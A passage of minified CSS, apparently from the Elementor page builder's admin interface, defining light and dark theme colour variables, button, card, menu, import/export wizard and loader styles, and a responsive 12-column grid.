--button-hover-background-color: var(--button-cta-hover-background-color); --button-active-background-color: var(--button-cta-active-background-color); } .eps-button--brand { --button-color: var(--button-cta-color); --button-background-color: var(--button-cta-background-color); --button-hover-background-color: var(--button-cta-hover-background-color); --button-active-background-color: var(--button-cta-active-background-color); } .eps-button--link { --button-color: var(--button-link-color); --button-background-color: var(--button-link-background-color); --button-hover-background-color: var(--button-link-hover-background-color); --button-active-background-color: var(--button-link-active-background-color); } .eps-button--disabled, .eps-button[disabled] { --button-color: var(--button-disabled-color); --button-background-color: var(--button-disabled-background-color); --button-hover-background-color: var(--button-disabled-hover-background-color); --button-active-background-color: var(--button-disabled-active-background-color); cursor: default; } :root { --app-background-color: #ffffff; --app-box-shadow-color: rgba(var(--box-shadow-color, rgba(0, 0, 0, 0.15)), 0.2); --app-header-color: #1f2124; --app-logo-color: #ffffff; --app-logo-background-color: #0C0D0E; --app-title-color: #0C0D0E; --app-header-buttons-separator-color: #9DA5AE; --app-header-buttons-color: #515962; --app-header-buttons-color-hover: #0C0D0E; --app-lightbox-background-color: rgba(0, 0, 0, 0.8); } .eps-theme-dark { --app-background-color: #1f2124; --app-box-shadow-color: rgba(var(--box-shadow-color, rgba(0, 0, 0, 0.15)), 0.2); --app-header-color: #D5D8DC; --app-logo-color: #0C0D0E; --app-logo-background-color: #ffffff; --app-title-color: #fff; --app-header-buttons-separator-color: #818A96; --app-header-buttons-color: #BABFC5; --app-header-buttons-color-hover: #9DA5AE; --app-lightbox-background-color: rgba(0, 0, 0, 0.8); } :root { --text-muted: #BABFC5; --disabled: #D5D8DC; --light: #ffffff; --dark: #000000; --cta: #93003f; --brand: #93003f; --accent: #F3BAFD; --primary: #93003f; --primary-bg: #FAE8FF; --secondary: #515962; --info: #2563EB; --info-bg: #F0F7FF; --danger: #DC2626; --danger-bg: #FEF1F4; --success: #0A875A; --success-bg: #F2FDF5; --warning: #F59E0B; --warning-bg: #FFFBEB; --body-color: #515962; --body-bg: #ffffff; --link-color: #515962; --link-hover-color: #2e3338; --hr-color: #E6E8EA; --box-shadow-color: theme-colors(dark); --display-1-color: #515962; --display-2-color: #515962; --display-3-color: #515962; --display-4-color: #515962; --h1-color: #515962; --h2-color: #515962; --h3-color: #515962; --h4-color: #515962; --h5-color: #515962; --h6-color: #515962; --text-base-color: #515962; --text-xl-color: #515962; --text-lg-color: #515962; --text-sm-color: #515962; --text-xs-color: #515962; --text-xxs-color: #515962; --gray-900: #0C0D0E; --gray-800: #1f2124; --gray-750: #2b2c31; --gray-725: #333438; --gray-700: #3f444b; --gray-600: #515962; --gray-500: #69727D; --gray-400: #818A96; --gray-300: #9DA5AE; --gray-200: #BABFC5; --gray-100: #D5D8DC; --gray-75: #E6E8EA; --gray-50: #F1F2F3; --gray-25: #F9FAFA; } .eps-theme-dark { --text-muted: #818A96; --disabled: #69727D; --light: #fff; --dark: #000; --accent: #524CFF; --cta: #93003f; --brand: #93003f; --success: #39b54a; --success-bg: #032317; --info: #0077CC; --info-bg: #0A1A3D; --warning: #fcb92c; --warning-bg: #311808; --danger: #F84343; --danger-bg: #390A0A; --body-color: #BABFC5; --body-bg: #1f2124; --link-color: #0077CC; --link-hover-color: #2e3338; --hr-color: #333438; --box-shadow-color: rgba(0, 0, 0, 0.15); --display-1-color: #BABFC5; --display-2-color: #BABFC5; --display-3-color: #BABFC5; --display-4-color: #BABFC5; --h1-color: #BABFC5; --h2-color: #BABFC5; --h3-color: #BABFC5; --h4-color: #BABFC5; --h5-color: #BABFC5; --h6-color: #BABFC5; --text-base-color: #BABFC5; --text-xl-color: #BABFC5; --text-lg-color: #BABFC5; --text-sm-color: #BABFC5; --text-xs-color: #BABFC5; --text-xxs-color: #BABFC5; --gray-900: #0C0D0E; --gray-800: #1f2124; --gray-750: #2b2c31; --gray-725: #333438; --gray-700: #3f444b; --gray-600: #515962; --gray-500: #69727D; --gray-400: #818A96; --gray-300: #9DA5AE; --gray-200: #BABFC5; --gray-100: #D5D8DC; --gray-75: #E6E8EA; --gray-50: #F1F2F3; --gray-25: #F9FAFA; } *, *::before, *::after { box-sizing: border-box; } html { font-family: sans-serif; line-height: 1.15; -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } article, aside, figcaption, figure, footer, header, hgroup, main, nav, section { display: block; } body { margin: 0; font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: var(--body-color); background-color: var(--body-bg); } [tabindex="-1"]:focus:not(:focus-visible) { outline: 0 !important; } h1, h2, h3, h4, h5, h6 { font-size: 100%; margin: 0; padding: 0; line-height: inherit; font-weight: normal; } p { margin-block-start: 0; } b, strong { font-weight: 700; } small { font-size: 80%; } a { --eps-link-color: $eps-link-color; color: var(--eps-link-color); background-color: transparent; } a, a:active, a:hover, a:focus { text-decoration: none; } a:focus, a:hover { --eps-link-color: $eps-link-hover-color; text-decoration: none; } a:not([href]) { color: inherit; text-decoration: none; } a:not([href]):hover { color: inherit; text-decoration: none; } pre, code, kbd, samp { font-family: monospace; font-size: 1em; } figure { margin: 0 0 0; } img { vertical-align: middle; border-style: none; } svg { overflow: hidden; vertical-align: middle; } button { border-radius: 0; } button:focus { outline: 1px dotted; outline: 5px auto -webkit-focus-ring-color; } input, button, select, optgroup, textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } button, input { overflow: visible; } button, select { text-transform: none; } [role=button] { cursor: pointer; } select { word-wrap: normal; } button, [type=button], [type=reset], [type=submit] { -webkit-appearance: button; -moz-appearance: button; appearance: button; } button:not(:disabled), [type=button]:not(:disabled), [type=reset]:not(:disabled), [type=submit]:not(:disabled) { cursor: pointer; } input[type=radio], input[type=checkbox] { box-sizing: border-box; padding: 0; } textarea { overflow: auto; resize: vertical; } [hidden] { display: none !important; } hr { border: 0 none; border-block-end: 1px solid var(--hr-color); } .eps-display-1 { font-size: 1.85rem; color: var(--display-1-color); margin-block-start: 0.5rem; margin-block-end: 0.5rem; } .eps-display-2 { font-size: 1.85rem; color: var(--display-2-color); margin-block-start: 0.5rem; margin-block-end: 0.5rem; } .eps-display-3 { font-size: 1.85rem; color: var(--display-3-color); margin-block-start: 0; margin-block-end: 1.25rem; } .eps-display-4 { font-size: 1.85rem; color: var(--display-4-color); margin-block-start: 0.5rem; margin-block-end: 0.5rem; } h1, .eps-h1 { font-size: 1.625rem; line-height: 1; color: var(--h1-color); margin-block-end: 1.25rem; font-weight: 500; } h2, .eps-h2 { font-size: 1.25rem; line-height: 1.2; color: var(--h2-color); margin-block-start: 0; margin-block-end: 1.25rem; font-weight: 500; } h3, .eps-h3 { font-size: 1rem; line-height: 1.2; color: var(--h3-color); margin-block-start: 0; margin-block-end: 0.5rem; font-weight: 500; } h4, .eps-h4 { font-size: 0.9375rem; color: var(--h4-color); margin-block-start: 0; margin-block-end: 0.5rem; } h5, .eps-h5 { font-size: 0.875rem; color: var(--h5-color); margin-block-start: 0; margin-block-end: 0.5rem; } h6, .eps-h6 { font-size: 0.875rem; color: var(--h-6-color); margin-block-start: 0; margin-block-end: 0.5rem; font-weight: 700; } .eps-text-xxs { font-size: 0.75rem; line-height: 1.2; color: var(--text-xxs-color); font-weight: 400; } .eps-text-xs { font-size: 0.75rem; line-height: 1.5; color: var(--text-xs-color); font-weight: 400; } .eps-text { font-size: 0.875rem; line-height: 1.5; color: var(--text-base-color); font-weight: 400; } .eps-text-sm { font-size: 0.8125rem; line-height: 1.5; color: var(--text-sm-color); font-weight: 400; } .eps-text-lg { font-size: 0.9375rem; line-height: 1.5; color: var(--text-lg-color); font-weight: 400; } .eps-text-xl { font-size: 1rem; line-height: 1.5; color: var(--text-xl-color); font-weight: 400; } .video-wrapper { position: relative; padding-block-end: 56.25%; height: 0; } .video-wrapper iframe { position: absolute; top: 0; right: 0; width: 100%; height: 100%; } .eps-separator { margin-block-end: 2.75rem; } .eps-theme-dark { --e-app-back-button-color: #BABFC5; } .back-button, .e-app-back-button { --button-background-color: var(--e-app-back-button-color, #69727D); margin-block-end: 1.5rem; } .back-button .eps-icon, .e-app-back-button .eps-icon { margin-inline-end: 0.3125rem; } .eps-theme-dark { --input-border-color: --hr-color; } .eps-input { border: 1px solid var(--hr-color); border-radius: 0.1875rem; background: transparent; color: inherit; height: 1.875rem; padding: 0 0.3125rem; } .eps-input--block { width: 100%; } .eps-app { display: flex; height: 100vh; flex-direction: column; color: var(--body-color); background-color: var(--app-background-color); position: absolute; border-radius: 0; box-shadow: 2px 8px 23px 3px var(--color-box-shadow-color); overflow: hidden; font-family: Roboto, Arial, Helvetica, Verdana, sans-serif; width: 100%; max-width: 100%; } .eps-app__lightbox { display: flex; align-items: center; justify-content: center; position: fixed; height: 100%; width: 100%; background-color: var(--app-lightbox-background-color); z-index: 1040; bottom: 0; right: 0; } .eps-app__header { flex-shrink: 0; font-size: 0.9375rem; border-block-end: var(--e-a-border); position: relative; z-index: 3; height: 3.125rem; padding-block: 0; padding-inline: 1rem; } .eps-app__header-buttons { display: flex; align-items: center; flex-direction: row-reverse; font-size: 1.125rem; } .eps-app__header-btn { padding-inline-start: 1rem; font-size: 1.125rem; line-height: 1.25rem; } .eps-app__header-btn:hover { color: var(--app-header-buttons-color-hover); } .eps-app__header-btn:first-child { border-inline-start: 1px solid var(--app-header-buttons-separator-color); } .eps-app__header-btn:not(:first-child) { padding-inline-end: 1rem; } .eps-app__logo-title-wrapper { display: flex; align-items: center; } .eps-app__logo { display: block; width: 1.75rem; height: 1.75rem; line-height: 1.75rem; text-align: center; font-size: calc(0.4 * 1.75rem); border-radius: 50%; color: var(--app-logo-color); background-color: var(--app-logo-background-color); } .eps-app__logo:not(:last-child) { margin-inline-end: 0.625rem; } .eps-app__title { color: var(--app-title-color); font-size: 0.9375rem; font-weight: 700; text-transform: uppercase; margin-block-end: 0; } .eps-app__main { display: flex; overflow: hidden; flex-grow: 1; } .eps-app__sidebar { background-color: var(--app-sidebar-background-color); padding-block-start: 1.25rem; width: 30%; max-width: 17.1875rem; border-inline-end: var(--e-a-border); flex-grow: 0; overflow-y: auto; z-index: 4; } .eps-app__content { flex-grow: 1; position: relative; padding: 2.75rem; height: 100%; overflow-y: auto; } .e-app-upload-file__input { display: none; } .e-app-drop-zone { --e-app-drop-zone-text-color: #69727D; --e-app-drop-zone-secondary-text-color: #515962; } .e-app-drop-zone__icon { margin-block-end: 2.75rem; font-size: 60px; } .e-app-drop-zone__text { color: var(--e-app-drop-zone-text-color); } .e-app-drop-zone__secondary-text { color: var(--e-app-drop-zone-secondary-text-color); } .eps-theme-dark .e-app-drop-zone { --e-app-drop-zone-text-color: #BABFC5; --e-app-drop-zone-secondary-text-color: #D5D8DC; } :root { --info-toggle-color: #9DA5AE; --info-toggle-hover-color: #69727D; } .eps-theme-dark { --placeholder-filter: invert(0.8) sepia(1) saturate(0.2) hue-rotate(180deg) contrast(1.25) brightness(1.2); --info-toggle-color: #818A96; --info-toggle-hover-color: #BABFC5; } .e-site-part .eps-card__image { filter: var(--placeholder-filter, none); } .e-site-part__info-toggle { color: var(--info-toggle-color); } .e-site-part__info-toggle:hover { --info-toggle-color: var(--info-toggle-hover-color); } .e-site-editor__header { margin-block-end: 2.75rem; border-block-end: 1px solid var(--hr-color); } :root { --e-elementor-loader-color: #ffffff; --e-elementor-loader-wrapper-color: #F9FAFA; --e-elementor-loader-box-color: #E6E8EA; } .eps-theme-dark { --e-elementor-loader-color: #1f2124; --e-elementor-loader-wrapper-color: #2b2c31; --e-elementor-loader-box-color: #3f444b; } .elementor-loading { background-color: var(--e-elementor-loader-color); height: 100vh; } .elementor-loader-wrapper { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 300px; display: flex; flex-direction: column; align-items: center; gap: 30px; } .elementor-loader { border-radius: 50%; padding: 40px; height: 150px; width: 150px; background-color: var(--e-elementor-loader-wrapper-color); box-sizing: border-box; box-shadow: 2px 2px 20px 4px rgba(0, 0, 0, 0.02); } .elementor-loader-boxes { height: 100%; width: 100%; position: relative; } .elementor-loader-box { position: absolute; background-color: var(--e-elementor-loader-box-color); animation: load 1.8s linear infinite; } .elementor-loader-box:nth-of-type(1) { width: 20%; height: 100%; right: 0; top: 0; } .elementor-loader-box:not(:nth-of-type(1)) { left: 0; height: 20%; width: 60%; } .elementor-loader-box:nth-of-type(2) { top: 0; animation-delay: calc(1.8s / 4 * -1); } .elementor-loader-box:nth-of-type(3) { top: 40%; animation-delay: calc(1.8s / 4 * -2); } .elementor-loader-box:nth-of-type(4) { bottom: 0; animation-delay: calc(1.8s / 4 * -3); } .elementor-loading-title { color: #9DA5AE; text-align: center; text-transform: uppercase; letter-spacing: 7px; text-indent: 7px; font-size: 10px; width: 100%; } @keyframes load { 0% { opacity: 0.3; } 50% { opacity: 1; } 100% { opacity: 0.3; } } .eps-menu__title { margin-block-start: 2.75rem; margin-block-end: 1rem; } .e-app-import { --e-app-import-back-to-library-color: #69727D; padding-block-end: 1.25rem; } .e-app-import__drop-zone { margin-block-start: 1.25rem; } .e-app-import__back-to-library { color: var(--e-app-import-back-to-library-color); margin-block-end: 1.5rem; } .e-app-import__back-to-library > i { margin-inline-end: 0.5rem; } .eps-theme-dark .e-app-import { --e-app-import-back-to-library-color: #BABFC5; } .e-site-editor__promotion-overlay__link { display: flex; width: 100%; height: 100%; align-items: center; justify-content: center; flex-direction: column; text-decoration: none; } .e-site-editor__promotion-overlay__icon { font-size: 1.25rem; color: #ffffff; margin-block-end: 1rem; } .e-app-import-export-wizard-step { --e-app-import-export-wizard-step-icon-color: #818A96; --e-app-import-export-wizard-step-text-color: #69727D; --e-app-import-export-wizard-step-block-end-text-color: #69727D; height: 100%; position: relative; text-align: center; } .e-app-import-export-wizard-step__media-container { height: 140px; margin: 5.5rem 0 2.75rem; } .e-app-import-export-wizard-step__icon { color: var(--e-app-import-export-wizard-step-icon-color); font-size: 50px; } .e-app-import-export-wizard-step__icon.eicon-loading { font-size: 1.85rem; } .e-app-import-export-wizard-step__heading { margin-block-end: 1.5rem; } .e-app-import-export-wizard-step__description, .e-app-import-export-wizard-step__info { color: var(--e-app-import-export-wizard-step-text-color); } .e-app-import-export-wizard-step__info { margin-block-start: 1.5rem; } .e-app-import-export-wizard-step__content { text-align: initial; margin-block-end: 1.25rem; } .e-app-import-export-wizard-step__notice { display: block; position: sticky; top: 100%; /* Will prevent text overlapping when window height is too short. */ color: var(--e-app-import-export-wizard-step-block-end-text-color); font-style: italic; margin-block-end: 0; } .eps-theme-dark .e-app-import-export-wizard-step { --e-app-import-export-wizard-step-icon-color: #818A96; --e-app-import-export-wizard-step-text-color: #BABFC5; --e-app-import-export-wizard-step-block-end-text-color: #BABFC5; } .e-app-import-export-page-header { --e-app-import-export-page-header-heading-color: #515962; --e-app-import-export-page-header-description-color: #69727D; margin-block-end: 2.75rem; } .e-app-import-export-page-header__content-wrapper { max-width: 645px; } .e-app-import-export-page-header__heading { color: var(--e-app-import-export-page-header-heading-color); } .e-app-import-export-page-header__description { color: var(--e-app-import-export-page-header-description-color); margin-block-start: 1.25rem; } .eps-theme-dark .e-app-import-export-page-header { --e-app-import-export-page-header-heading-color: #D5D8DC; --e-app-import-export-page-header-description-color: #D5D8DC; } .e-app-export-kit-content { --e-app-export-kit-content-title-color: #3f444b; --e-app-export-kit-content-description-color: #515962; --e-app-export-kit-content-sm-notice-color: #BABFC5; } .e-app-export-kit-content__checkbox { flex-shrink: 0; margin-inline-end: 0.75rem; } .e-app-export-kit-content__title { color: var(--e-app-export-kit-content-title-color); } .e-app-export-kit-content__description { color: var(--e-app-export-kit-content-description-color); margin-inline-end: 1.25rem; } .e-app-export-kit-content__notice { margin-block-start: 1rem; } .e-app-export-kit-content__small-notice { font-style: italic; color: var(--e-app-export-kit-content-sm-notice-color); } .eps-theme-dark .e-app-export-kit-content { --e-app-export-kit-content-title-color: #D5D8DC; --e-app-export-kit-content-description-color: #BABFC5; --e-app-export-kit-content-sm-notice-color: #818A96; } .e-app-wizard-footer { --e-app-wizard-footer-border-color: #E6E8EA; padding: 0.5rem; } .e-app-wizard-footer__separator { border-block-start: 1px solid var(--e-app-wizard-footer-border-color); } .eps-theme-dark .e-app-wizard-footer { --e-app-wizard-footer-border-color: #333438; } .e-app-export-templates-features__locked { --e-app-export-templates-features-locked-color: #69727D; color: var(--e-app-export-templates-features-locked-color); } .eps-theme-dark .e-app-export-templates-features__locked { --e-app-export-templates-features-locked-color: #9DA5AE; } :root { --color-box-shadow-color: rgba(0, 0, 0, 0.05); } .eps-theme-dark { --color-box-shadow-color: rgba(0, 0, 0, 0.1); } :root { --card-background-color-hover: #ffffff; --card-border: 1px solid #D5D8DC; --card-header-footer-border: 1px solid var(--e-a-border-color); --card-header-footer-active-border: 2px solid #BABFC5; --card-headline-color: #515962; --card-figure-background-color: #BABFC5; --card-image-overlay-background-color: rgba(0, 0, 0, 0.2); } .eps-theme-dark { --card-background-color-hover: #2b2c31; --card-border: 1px solid #333438; --card-header-footer-border: 1px solid #333438; --card-header-footer-active-border: 1px solid #1f2124; --card-headline-color: #D5D8DC; --card-figure-background-color: #3f444b; --card-image-overlay-background-color: rgba(63, 68, 75, 0.5); } .eps-card { border: var(--card-border); border-radius: 0.1875rem; transition: 0.3s; font-size: 0.75rem; /* todo: TBD: Optionally remove headline styling in favor of a global atom depending on variation needs */ } .eps-card__header { padding: 0.625rem; border-block-end: var(--card-header-footer-border); min-height: 2.5rem; display: flex; align-items: center; } .eps-card__header--padding { padding: var(--eps-card-header-padding); } .eps-card__headline { color: var(--card-headline-color); margin-block-end: 0; font-weight: 500; flex-grow: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .eps-card__body { padding: 0.625rem 0.625rem; } .eps-card__body--padding { padding: var(--eps-card-body-padding); } .eps-card__figure { background-color: var(--card-figure-background-color); position: relative; padding-block-end: var(--card-image-aspect-ratio, 95.6%); overflow: hidden; height: 0; } .eps-card__image { width: 100%; -o-object-fit: contain; object-fit: contain; -o-object-position: top; object-position: top; position: absolute; top: 0; right: 0; } .eps-card__image-overlay { position: absolute; top: 0; background-color: var(--card-image-overlay-background-color); z-index: 1; width: 100%; height: 100%; opacity: 0; transition: 0.3s; } .eps-card__image-overlay:hover { opacity: 1; } .eps-card__footer { padding: 0.625rem; border-block-start: var(--card-header-footer-border); font-size: 0.6875rem; } .eps-card__footer--padding { padding: var(--eps-card-footer-padding); } :root { --menu-item-color: #515962; --menu-item-color-hover: #3f444b; --menu-item-color-active: #0C0D0E; --menu-item-background-color-hover: #F9FAFA; --menu-item-background-color-active: #E6E8EA; --menu-item-action-button-color: #9DA5AE; } .eps-theme-dark { --menu-item-color: #D5D8DC; --menu-item-color-hover: #BABFC5; --menu-item-color-active: #9DA5AE; --menu-item-background-color-hover: #2b2c31; --menu-item-background-color-active: #333438; --menu-item-action-button-color: #818A96; } .eps-menu-item { display: flex; align-items: center; position: relative; transition: 0.3s; --action-button-opacity: 0; } .eps-menu-item::before { content: ""; display: block; position: absolute; top: 0; right: 0; height: 100%; width: var(--menu-item-pointer-width); background-color: #0C0D0E; } .eps-menu-item:hover:not(.eps-menu-item--active) { background-color: var(--menu-item-background-color-hover); --action-button-opacity: 1; --menu-item-color: var(--menu-item-color-hover); --eps-link-color: var(--menu-item-color-hover); } .eps-menu-item--active { background-color: var(--menu-item-background-color-active); --menu-item-color: var(--menu-item-color-active); --eps-link-color: var(--menu-item-color-active); } .eps-menu-item__link { padding: 0.5rem 1.875rem; min-height: 2.75rem; font-size: 0.75rem; line-height: 1.2; flex-grow: 1; display: flex; align-items: center; color: var(--menu-item-color); --eps-link-color: var(--menu-item-color); } .eps-menu-item__link:not(:last-child) { padding-inline-end: 0; } .eps-menu-item__link .eps-icon { font-size: 1.125rem; margin-inline-end: 0.75rem; } .eps-menu-item__action-button { opacity: var(--action-button-opacity); padding: 0.625rem; transition: 0.3s; margin-inline-end: 1.25rem; } .eps-menu-item--active { --menu-item-pointer-width: 0.3125rem; } .eps-grid-container { display: flex; flex-wrap: wrap; width: 100%; } .eps-grid-container--no-wrap { flex-wrap: nowrap; } .eps-grid-container--wrap-reverse { flex-wrap: wrap-reverse; } .eps-grid-container--spacing { --grid-row-gutter: calc(-1 * calc(var(--grid-spacing-gutter) * 0.625rem / 10)); width: var(--grid-spacing-width); margin: var(--grid-row-gutter); } .eps-grid-container--spacing > .eps-grid-item { padding: var(--grid-spacing-gutter); } .eps-grid--direction-row { flex-direction: row; } .eps-grid--direction-row-reverse { flex-direction: row-reverse; } .eps-grid--direction-column { flex-direction: column; } .eps-grid--direction-column-reverse { flex-direction: column-reverse; } .eps-grid--justify-stretch { justify-content: stretch; } .eps-grid--justify-start { justify-content: flex-start; } .eps-grid--justify-center { justify-content: center; } .eps-grid--justify-end { justify-content: flex-end; } .eps-grid--justify-space-between { justify-content: space-between; } .eps-grid--justify-space-around { justify-content: space-around; } .eps-grid--justify-space-evenly { justify-content: space-evenly; } .eps-grid--align-content-stretch { align-content: stretch; } .eps-grid--align-content-start { align-content: flex-start; } .eps-grid--align-content-center { align-content: center; } .eps-grid--align-content-end { align-content: flex-end; } .eps-grid--align-content-space-between { align-content: space-between; } .eps-grid--align-items-start { align-items: flex-start; } .eps-grid--align-items-center { align-items: center; } .eps-grid--align-items-end { align-items: flex-end; } .eps-grid--align-items-baseline { align-items: baseline; } .eps-grid--align-items-stretch { align-items: stretch; } .eps-grid-item--zero-min-width { min-width: 0; } @media screen and (min-width: 480px) { .eps-grid-item-sm { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 768px) { .eps-grid-item-md { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 1025px) { .eps-grid-item-lg { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 1440px) { .eps-grid-item-xl { flex-grow: 1; max-width: 100%; flex-basis: 0; } } @media screen and (min-width: 1600px) { .eps-grid-item-xxl { flex-grow: 1; max-width: 100%; flex-basis: 0; } } .eps-grid-item-xs-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-xs-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-xs-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-xs-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-xs-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-xs-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-xs-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-xs-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-xs-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-xs-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-xs-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-xs-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } @media screen and (min-width: 480px) { .eps-grid-item-sm-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-sm-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-sm-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-sm-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-sm-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-sm-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-sm-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-sm-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-sm-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-sm-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-sm-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-sm-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 768px) { .eps-grid-item-md-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-md-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-md-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-md-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-md-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-md-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-md-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-md-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-md-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-md-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-md-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-md-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 1025px) { .eps-grid-item-lg-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-lg-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-lg-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-lg-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-lg-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-lg-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-lg-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-lg-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-lg-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-lg-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-lg-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-lg-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 1440px) { .eps-grid-item-xl-1 { flex-grow: 0; max-width: calc(1 / 12 * 100%); flex-basis: calc(1 / 12 * 100%); } .eps-grid-item-xl-2 { flex-grow: 0; max-width: calc(2 / 12 * 100%); flex-basis: calc(2 / 12 * 100%); } .eps-grid-item-xl-3 { flex-grow: 0; max-width: calc(3 / 12 * 100%); flex-basis: calc(3 / 12 * 100%); } .eps-grid-item-xl-4 { flex-grow: 0; max-width: calc(4 / 12 * 100%); flex-basis: calc(4 / 12 * 100%); } .eps-grid-item-xl-5 { flex-grow: 0; max-width: calc(5 / 12 * 100%); flex-basis: calc(5 / 12 * 100%); } .eps-grid-item-xl-6 { flex-grow: 0; max-width: calc(6 / 12 * 100%); flex-basis: calc(6 / 12 * 100%); } .eps-grid-item-xl-7 { flex-grow: 0; max-width: calc(7 / 12 * 100%); flex-basis: calc(7 / 12 * 100%); } .eps-grid-item-xl-8 { flex-grow: 0; max-width: calc(8 / 12 * 100%); flex-basis: calc(8 / 12 * 100%); } .eps-grid-item-xl-9 { flex-grow: 0; max-width: calc(9 / 12 * 100%); flex-basis: calc(9 / 12 * 100%); } .eps-grid-item-xl-10 { flex-grow: 0; max-width: calc(10 / 12 * 100%); flex-basis: calc(10 / 12 * 100%); } .eps-grid-item-xl-11 { flex-grow: 0; max-width: calc(11 / 12 * 100%); flex-basis: calc(11 / 12 * 100%); } .eps-grid-item-xl-12 { flex-grow: 0; max-width: calc(12 / 12 * 100%); flex-basis: calc(12 / 12 * 100%); } } @media screen and (min-width: 1600px) { .eps-grid-item-xxl-1 { flex-grow: 0; max-width: calc(1 